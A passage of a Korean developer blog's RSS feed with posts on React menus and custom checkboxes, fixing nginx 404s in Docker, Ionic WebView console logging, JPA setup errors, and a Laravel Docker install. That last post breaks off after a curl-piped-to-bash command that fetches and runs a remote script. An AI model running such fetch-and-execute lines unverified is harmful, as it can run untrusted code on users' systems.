                  &amp;lt;div&amp;gt;부모3&amp;lt;/div&amp;gt;                  
              &amp;lt;/div&amp;gt;
              {filterValues.부모3 &amp;amp;&amp;amp; &amp;lt;FilterDetailList filter=&quot;부모3&quot; /&amp;gt;}
          &amp;lt;/div&amp;gt;         
      &amp;lt;/div&amp;gt;
    
    &amp;lt;/&amp;gt;
  )
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;별거 아닌 기능이더라도 직접 해보는게 중요한듯 합니다.&lt;br /&gt;사실 jQuery 이용해서 하라하면 코웃음 치면서 금방 끝냈을거같은데 react로 막상 처리하려니 까다롭더군요&lt;br /&gt;물론 큰 기능도 아니거니와, 더 좋은 소스도 많겠지만 저 같은 리액트 초보분들에게 조금이라도 도움이 되었으면 좋겠네요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원래는 타입스크립트로 했던거라 이상한 에러 엄청 떠서 이 부분도 상당히 짜증이 났네요ㅋ&lt;br /&gt;위 filterEvent 함수에 파라미터 받을때에도, filter 타입선언할때도 엄청 에러떠서 아래와 같이 해결 했네요&lt;/p&gt;
&lt;pre id=&quot;code_1703966750384&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const filterEvent = (event: React.MouseEvent&amp;lt;HTMLElement&amp;gt;) =&amp;gt; {
    const filter = event.currentTarget.dataset.filter as keyof typeof filterValues;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT/React.js</category>
      <category>dropdown 메뉴</category>
      <category>리액트 드롭다운</category>
      <category>리액트 메롱</category>
      <category>리액트 열고닫는메뉴</category>
      <category>메롱메뉴</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/210</guid>
      <comments>https://bug41.tistory.com/entry/React-%EC%97%B4%EA%B3%A0%EB%8B%AB%EB%8A%94-%EB%A9%94%EB%89%B4-%EB%A9%94%EB%A1%B1%ED%95%98%EB%8A%94-%EB%A9%94%EB%89%B4-%EB%8B%A4%EC%A4%91-useState-%EA%B4%80%EB%A6%AC#entry210comment</comments>
      <pubDate>Sun, 31 Dec 2023 05:08:58 +0900</pubDate>
    </item>
    <item>
      <title>[React] input checkbox 색깔 바꾸기, 커스텀 체크박스</title>
      <link>https://bug41.tistory.com/entry/React-input-checkbox-%EC%83%89%EA%B9%94-%EB%B0%94%EA%BE%B8%EA%B8%B0-%EC%BB%A4%EC%8A%A4%ED%85%80-%EC%B2%B4%ED%81%AC%EB%B0%95%EC%8A%A4</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;굳이 리액트에 한정 되있진 않지만 리액트 프로젝트에서 사용 했으므로 기록 해두고자 진행하는 포스팅이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;input checkbox 가 파란색이 디폴트인데 색을 다르게 해야한다고 퍼블리싱 요청이 와서 간만에 바꿔봤다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;118&quot; data-origin-height=&quot;41&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lDXuz/btsCMpbL7sM/kLpHLAOJICAkwtzc3kbGo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lDXuz/btsCMpbL7sM/kLpHLAOJICAkwtzc3kbGo0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lDXuz/btsCMpbL7sM/kLpHLAOJICAkwtzc3kbGo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlDXuz%2FbtsCMpbL7sM%2FkLpHLAOJICAkwtzc3kbGo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;118&quot; height=&quot;41&quot; data-origin-width=&quot;118&quot; data-origin-height=&quot;41&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1703964153378&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; &amp;lt;input
    id=&quot;test&quot;
    type=&quot;checkbox&quot;
    value=&quot;테스트&quot;
    className={`filterCheckbox mr-[7px] align-[-3px]`}    
    checked={checkedInputs?.includes(`잇힝`) ? true : false}
/&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;className 에서 눈치 채신분들도 계시겠지만 Tailwind 도 같이 사용중이다.&lt;br /&gt;알맹이는 filterCheckbox 에 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;background-color 로 내가 원하는 색깔 지정 가능하고, background image 안에 viewBox 값을 조정해서 화살표 위치 및 크기 조정 가능하다.&lt;/p&gt;
&lt;pre id=&quot;code_1703964216185&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;.filterCheckbox{
    appearance: none;
    width: 18px;
    height: 18px;
    border: 1px solid rgba(158, 158, 158, 1);
    border-radius: 2px;

    &amp;amp;:checked {
        border-color: transparent;
        background-image: url(&quot;data:image/svg+xml,%3csvg viewBox='2.5 2.5 11 11' fill='white' xmlns='http://www.w3.org/2000/svg'%3e%3cpath d='M5.707 7.293a1 1 0 0 0-1.414 1.414l2 2a1 1 0 0 0 1.414 0l4-4a1 1 0 0 0-1.414-1.414L7 8.586 5.707 7.293z'/%3e%3c/svg%3e&quot;);
        background-size: 100% 100%;
        background-position: 50%;
        background-repeat: no-repeat;
        background-color: rgba(34, 34, 34, 1);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1703964289629&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;checked={checkedInputs?.includes(`잇힝`) ? true : false}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위는 체크박스 색 바꾸는거랑 전혀 연관없는건데 , 유저가 체크한 값을 저장해두고 있어야해서 그냥 check 할때마다 checkedInput&amp;nbsp; 배열에 넣어서 진행을 했던거라 그냥 같이 껴서 적음 ㅋㄷ&lt;/p&gt;</description>
      <category>IT/React.js</category>
      <category>input checkbox color</category>
      <category>체크박스 색깔바꾸기</category>
      <category>체크박스 색변경</category>
      <category>체크박스color</category>
      <category>커스텀 체크박스</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/209</guid>
      <comments>https://bug41.tistory.com/entry/React-input-checkbox-%EC%83%89%EA%B9%94-%EB%B0%94%EA%BE%B8%EA%B8%B0-%EC%BB%A4%EC%8A%A4%ED%85%80-%EC%B2%B4%ED%81%AC%EB%B0%95%EC%8A%A4#entry209comment</comments>
      <pubDate>Sun, 31 Dec 2023 04:27:14 +0900</pubDate>
    </item>
    <item>
      <title>docker php-nginx 404 에러</title>
      <link>https://bug41.tistory.com/entry/docker-php-nginx-404-%EC%97%90%EB%9F%AC</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;docker 를 또 간만에 사용하게되어서 윈도우 도커에 php-nginx 이미지를 다운받고 가동시켰는데 404 에러가 떴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 docker 를 사용하지않고 그냥 로컬에서 nginx 를 깔게되면 아마 /etc/share/nginx/nginx.conf 여기에 모든 설정이 다 있을텐데 docker 로 돌렸을 경우에 conf 파일이 여기저기 찢어져있다.&lt;br /&gt;여튼 conf 에 설정되있는 경로와 php 및 html 파일들이 없어서 나오는 에러다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커로 돌렸을 경우 우리가 흔히 생각하는 nginx.conf 파일은 &lt;b&gt;/opt/docker/etc/ngnix&lt;/b&gt; 폴더 아래에 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1702175517375&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; # vi /opt/docker/etc/nginx/vhost.conf 
 
 server {
    listen 80 default_server;
    listen [::]:80 default_server;

    server_name  _ *.vm docker;

    #root &quot;/app&quot;;
    root  /var/www/html/[경로];

    #index index.php;

    include /opt/docker/etc/nginx/vhost.common.d/*.conf;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 컨테이너 가동 시켰을 경우에 root 가 /app 폴더로 되어있어서 404 에러가 떳던거고 저 부분 잘 고쳐주면된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 vhost.conf 외에도&lt;/p&gt;
&lt;pre id=&quot;code_1702175562820&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# vi /opt/docker/etc/nginx/vhost.common.d/10-php.conf

location ~ \.php$ {
    fastcgi_split_path_info ^(.+\.php)(/.+)$;
    fastcgi_pass php;
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME     $request_filename;
    fastcgi_read_timeout 600;

    try_files $uri =404;
}
location @extensionless-php {
      rewrite ^(.*)$ $1.php last;
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1702175575698&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# vi /opt/docker/etc/nginx/vhost.common.d/10-location-root.conf

location / {
    #try_files $uri $uri/ /index.php?$query_string;
    try_files $uri $uri.html $uri/ @extensionless-php;
    index index.html index.htm index.php;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기저기 흩어져있어도 웬만한건 opt/docker/etc/nginx 안에 있으니 잘 찾아보면 원하는 설정대로 할 수 있다.&lt;/p&gt;</description>
      <category>IT/Docker</category>
      <category>docker nginx 404</category>
      <category>docker nginx 설정파일</category>
      <category>docker nginx.conf 위치</category>
      <category>docker php 404</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/208</guid>
      <comments>https://bug41.tistory.com/entry/docker-php-nginx-404-%EC%97%90%EB%9F%AC#entry208comment</comments>
      <pubDate>Sun, 10 Dec 2023 11:34:35 +0900</pubDate>
    </item>
    <item>
      <title>[Ionic] 안드로이드 스튜디오 웹앱 console.log 확인 하는 방법</title>
      <link>https://bug41.tistory.com/entry/Ionic-%EC%95%88%EB%93%9C%EB%A1%9C%EC%9D%B4%EB%93%9C-%EC%8A%A4%ED%8A%9C%EB%94%94%EC%98%A4-%EC%9B%B9%EC%95%B1-consolelog-%ED%99%95%EC%9D%B8-%ED%95%98%EB%8A%94-%EB%B0%A9%EB%B2%95</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;Next.js 를 아이오닉으로 감싸서 안드로이드 앱을 끄적끄적 하고있는데 지도가 계속 안나와서 콘솔에 어떻게 찍히는지 좀 보고싶어서 찾다가 기록하게 되었음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;방법은 두가지가 있는데 일단 첫번째는 여기저기 많은 포스팅에서도 볼 수 있었는데 난 이렇게 안했음&lt;br /&gt;자바랑 별로 안친해서 ㅎㅎ;&lt;br /&gt;자꾸 WebView webView = findViewById(R.id.mwebview); 이쪽에서 오류난다고 어쩌고해서 골치 아파서 재낌&lt;/p&gt;
&lt;pre id=&quot;code_1700986265350&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
		
        WebView webView = findViewById(R.id.mwebview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebChromeClient(new WebChromeClient() {
            @Override
            public boolean onConsoleMessage(ConsoleMessage consoleMessage) {
                Log.d(&quot;WebView Console&quot;, consoleMessage.message());
                return true;
            }
        });
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두번째 방법으로 소스코드 추가 없이 쉽게 볼 수 있었는데, 그냥 안드로이드 스튜디오 가상 머신이 돌아가고 있는 상태에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구글 크롬에서 &quot;chrome://inspect/#devices&quot; 이라고 접속을 해주고 조금 기다리면 아래처럼 하나가 뜸&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;530&quot; data-origin-height=&quot;506&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q8KrL/btsATYsd5Mz/1OjsMScyxKW1KTzfkMRJpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q8KrL/btsATYsd5Mz/1OjsMScyxKW1KTzfkMRJpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q8KrL/btsATYsd5Mz/1OjsMScyxKW1KTzfkMRJpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq8KrL%2FbtsATYsd5Mz%2F1OjsMScyxKW1KTzfkMRJpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;530&quot; height=&quot;506&quot; data-origin-width=&quot;530&quot; data-origin-height=&quot;506&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;Remote Target 부분에 내가 현재 띄운걸 볼 수 있고 거기서 inspect 들어가면 콘솔창이 나온다~&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안드로이드 스튜디오 로그 일일히 체크하는것 보다 차라리 그냥 크롬 이용해서 이렇게 보는게 난 더 편했다 ..&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>ionic android studio console.log</category>
      <category>next.js ionic console.log</category>
      <category>아이오닉 안드로이드 콘솔</category>
      <category>아이오닉 콘솔로그</category>
      <category>안드로이드 콘솔로그</category>
      <category>안드로이드스튜디오 콘솔</category>
      <category>웹앱 콘솔</category>
      <category>웹앱 콘솔로그</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/207</guid>
      <comments>https://bug41.tistory.com/entry/Ionic-%EC%95%88%EB%93%9C%EB%A1%9C%EC%9D%B4%EB%93%9C-%EC%8A%A4%ED%8A%9C%EB%94%94%EC%98%A4-%EC%9B%B9%EC%95%B1-consolelog-%ED%99%95%EC%9D%B8-%ED%95%98%EB%8A%94-%EB%B0%A9%EB%B2%95#entry207comment</comments>
      <pubDate>Sun, 26 Nov 2023 17:16:49 +0900</pubDate>
    </item>
    <item>
      <title>[JPA] jpa 세팅 관련 오류 정리 HHH000318 , HHH000204</title>
      <link>https://bug41.tistory.com/entry/JPA-jpa-%EC%84%B8%ED%8C%85-%EA%B4%80%EB%A0%A8-%EC%98%A4%EB%A5%98-%EC%A0%95%EB%A6%AC-HHH000318-HHH000204</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;아래 오류에서 보다시피 난 jdk 17 버전 사용중이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JPA 세팅을 진행하는데 아래와 같은 오류 발생&lt;/p&gt;
&lt;pre id=&quot;code_1698556512431&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&quot;C:\Program Files\Java\jdk-17\bin\java.exe&quot; &quot;-javaagent:C:\Program Files\JetBrains\IntelliJ IDEA 2022.3\lib\idea_rt.jar=3238:C:\Program Files\JetBrains\IntelliJ IDEA 2022.3\bin&quot; -Dfile.encoding=UTF-8 -classpath C:\web_developer\java\hellojpa\target\classes;C:\Users\bugki\.m2\repository\org\hibernate\hibernate-entitymanager\5.3.10.Final\hibernate-entitymanager-5.3.10.Final.jar;C:\Users\bugki\.m2\repository\org\jboss\logging\jboss-logging\3.3.2.Final\jboss-logging-3.3.2.Final.jar;C:\Users\bugki\.m2\repository\org\hibernate\hibernate-core\5.3.10.Final\hibernate-core-5.3.10.Final.jar;C:\Users\bugki\.m2\repository\org\javassist\javassist\3.23.2-GA\javassist-3.23.2-GA.jar;C:\Users\bugki\.m2\repository\antlr\antlr\2.7.7\antlr-2.7.7.jar;C:\Users\bugki\.m2\repository\org\jboss\jandex\2.0.5.Final\jandex-2.0.5.Final.jar;C:\Users\bugki\.m2\repository\com\fasterxml\classmate\1.3.4\classmate-1.3.4.jar;C:\Users\bugki\.m2\repository\javax\activation\javax.activation-api\1.2.0\javax.activation-api-1.2.0.jar;C:\Users\bugki\.m2\repository\org\dom4j\dom4j\2.1.1\dom4j-2.1.1.jar;C:\Users\bugki\.m2\repository\org\hibernate\common\hibernate-commons-annotations\5.0.4.Final\hibernate-commons-annotations-5.0.4.Final.jar;C:\Users\bugki\.m2\repository\javax\persistence\javax.persistence-api\2.2\javax.persistence-api-2.2.jar;C:\Users\bugki\.m2\repository\net\bytebuddy\byte-buddy\1.9.5\byte-buddy-1.9.5.jar;C:\Users\bugki\.m2\repository\org\jboss\spec\javax\transaction\jboss-transaction-api_1.2_spec\1.1.1.Final\jboss-transaction-api_1.2_spec-1.1.1.Final.jar;C:\Users\bugki\.m2\repository\com\h2database\h2\1.4.199\h2-1.4.199.jar hellojpa.JpaMain
10월 29, 2023 1:33:10 오후 org.hibernate.jpa.boot.internal.PersistenceXmlParser doResolve
INFO: HHH000318: Could not find any META-INF/persistence.xml file in the classpath
Exception in thread &quot;main&quot; javax.persistence.PersistenceException: No Persistence provider for EntityManager named hello
	at javax.persistence.Persistence.createEntityManagerFactory(Persistence.java:85)
	at javax.persistence.Persistence.createEntityManagerFactory(Persistence.java:54)
	at hellojpa.JpaMain.main(JpaMain.java:10)

Process finished with exit code 1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적으로라면 아래 처럼 나와야하는데&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;229&quot; data-origin-height=&quot;105&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ucK8u/btszj5N82j8/SkCt1vGpyKkGZyLnPdTB61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ucK8u/btszj5N82j8/SkCt1vGpyKkGZyLnPdTB61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ucK8u/btszj5N82j8/SkCt1vGpyKkGZyLnPdTB61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FucK8u%2Fbtszj5N82j8%2FSkCt1vGpyKkGZyLnPdTB61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;229&quot; height=&quot;105&quot; data-origin-width=&quot;229&quot; data-origin-height=&quot;105&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 META-INF.maven 이라고 되어있어서 'persistence.xml' 파일 드래그해서 resources 로 끌어당긴다음에 아래와 같은 창 뜰때 뒤에다가 \META-INF 라고 수기로 입력해서 조정해줬고&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;550&quot; data-origin-height=&quot;190&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bG8Bng/btszj7LY7oy/j5bV2tAD8UBYyqWzf7cWE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bG8Bng/btszj7LY7oy/j5bV2tAD8UBYyqWzf7cWE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bG8Bng/btszj7LY7oy/j5bV2tAD8UBYyqWzf7cWE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbG8Bng%2Fbtszj7LY7oy%2Fj5bV2tAD8UBYyqWzf7cWE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;550&quot; height=&quot;190&quot; data-origin-width=&quot;550&quot; data-origin-height=&quot;190&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래에 있는 target 폴더도 그냥 조정해줬다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;322&quot; data-origin-height=&quot;164&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lCsp3/btszqckslfo/CXNxohSCUiUlWHIsFzlTdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lCsp3/btszqckslfo/CXNxohSCUiUlWHIsFzlTdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lCsp3/btszqckslfo/CXNxohSCUiUlWHIsFzlTdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlCsp3%2Fbtszqckslfo%2FCXNxohSCUiUlWHIsFzlTdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;322&quot; height=&quot;164&quot; data-origin-width=&quot;322&quot; data-origin-height=&quot;164&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 처럼 조정하니까 경로 문제는 해결이되었고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또 아래와 같은 문제가 발생하였는데 이 부분은 jdk 버전이 너무 높아서 발생한거같아 보인다.&lt;/p&gt;
&lt;pre id=&quot;code_1698556671168&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;10월 29, 2023 2:12:00 오후 org.hibernate.jpa.internal.util.LogHelper logPersistenceUnitInformation
INFO: HHH000204: Processing PersistenceUnitInfo [
	name: hello
	...]
10월 29, 2023 2:12:00 오후 org.hibernate.Version logVersion
INFO: HHH000412: Hibernate Core {5.3.10.Final}
10월 29, 2023 2:12:00 오후 org.hibernate.cfg.Environment &amp;lt;clinit&amp;gt;
INFO: HHH000206: hibernate.properties not found
Exception in thread &quot;main&quot; java.lang.NoClassDefFoundError: javax/xml/bind/JAXBException
	at org.hibernate.boot.spi.XmlMappingBinderAccess.&amp;lt;init&amp;gt;(XmlMappingBinderAccess.java:43)
	at org.hibernate.boot.MetadataSources.&amp;lt;init&amp;gt;(MetadataSources.java:86)
	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.&amp;lt;init&amp;gt;(EntityManagerFactoryBuilderImpl.java:212)
	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.&amp;lt;init&amp;gt;(EntityManagerFactoryBuilderImpl.java:174)
	at org.hibernate.jpa.boot.spi.Bootstrap.getEntityManagerFactoryBuilder(Bootstrap.java:76)
	at org.hibernate.jpa.HibernatePersistenceProvider.getEntityManagerFactoryBuilder(HibernatePersistenceProvider.java:171)
	at org.hibernate.jpa.HibernatePersistenceProvider.getEntityManagerFactoryBuilderOrNull(HibernatePersistenceProvider.java:119)
	at org.hibernate.jpa.HibernatePersistenceProvider.getEntityManagerFactoryBuilderOrNull(HibernatePersistenceProvider.java:61)
	at org.hibernate.jpa.HibernatePersistenceProvider.createEntityManagerFactory(HibernatePersistenceProvider.java:50)
	at javax.persistence.Persistence.createEntityManagerFactory(Persistence.java:79)
	at javax.persistence.Persistence.createEntityManagerFactory(Persistence.java:54)
	at hellojpa.JpaMain.main(JpaMain.java:11)
Caused by: java.lang.ClassNotFoundException: javax.xml.bind.JAXBException
	at java.base/jdk.internal.loader.BuiltinClassLoader.loadClass(BuiltinClassLoader.java:641)
	at java.base/jdk.internal.loader.ClassLoaders$AppClassLoader.loadClass(ClassLoaders.java:188)
	at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:520)
	... 12 more

Process finished with exit code 1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 에러는 간단하게 pom.xml 에 디펜던시 하나 추가해주고 해결완료&lt;/p&gt;
&lt;pre id=&quot;code_1698556716902&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; &amp;lt;dependency&amp;gt;
  &amp;lt;groupId&amp;gt;javax.xml.bind&amp;lt;/groupId&amp;gt;
  &amp;lt;artifactId&amp;gt;jaxb-api&amp;lt;/artifactId&amp;gt;
  &amp;lt;version&amp;gt;2.3.0&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;P.S 자바 극혐이었는데 막상 쓸데없는 고집 부리지말고 해보자란 생각으로 스프링부트 김영한님 강의 들으면서 JPA 개념도 잡고있는데 생각보다 괜찮네.. 이클립스에 ibatis 쓰면서 식빵식빵 거렸던게 엊그제같은데 진짜 편리하게 많이 바뀐듯하다 wow ..&amp;nbsp;&lt;/p&gt;</description>
      <category>IT/JAVA</category>
      <category>HHH000204</category>
      <category>HHH000318</category>
      <category>JPA</category>
      <category>maven</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/206</guid>
      <comments>https://bug41.tistory.com/entry/JPA-jpa-%EC%84%B8%ED%8C%85-%EA%B4%80%EB%A0%A8-%EC%98%A4%EB%A5%98-%EC%A0%95%EB%A6%AC-HHH000318-HHH000204#entry206comment</comments>
      <pubDate>Sun, 29 Oct 2023 14:20:23 +0900</pubDate>
    </item>
    <item>
      <title>[Docker] PHP Laravel 9.x 설치하기 feat.window 10</title>
      <link>https://bug41.tistory.com/entry/Docker-PHP-Laravel-9x-%EC%84%A4%EC%B9%98%ED%95%98%EA%B8%B0-featwindow-10</link>
      <description>&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;윈도우에 Docker 를 사용하여 Laravel 9.x 컨테이너를 설치하려고했다.&lt;br /&gt;언제나 그렇듯 한번에 되지않는다.&lt;br /&gt;&lt;br /&gt;Window10 환경이었고 Docker Desktop 은 이미 설치되어있다는 가정하에 진행한다.&lt;br /&gt;아 물론 최신버전으로 되있어야 잘된다. &lt;br /&gt;이 점은 유의하자!&lt;/p&gt;
&lt;pre id=&quot;code_1698148914408&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;curl -s &quot;https://laravel.build/example-app?with=mysql,redis&quot; | bash&lt;/code&gt;&lt;/pre&gt;
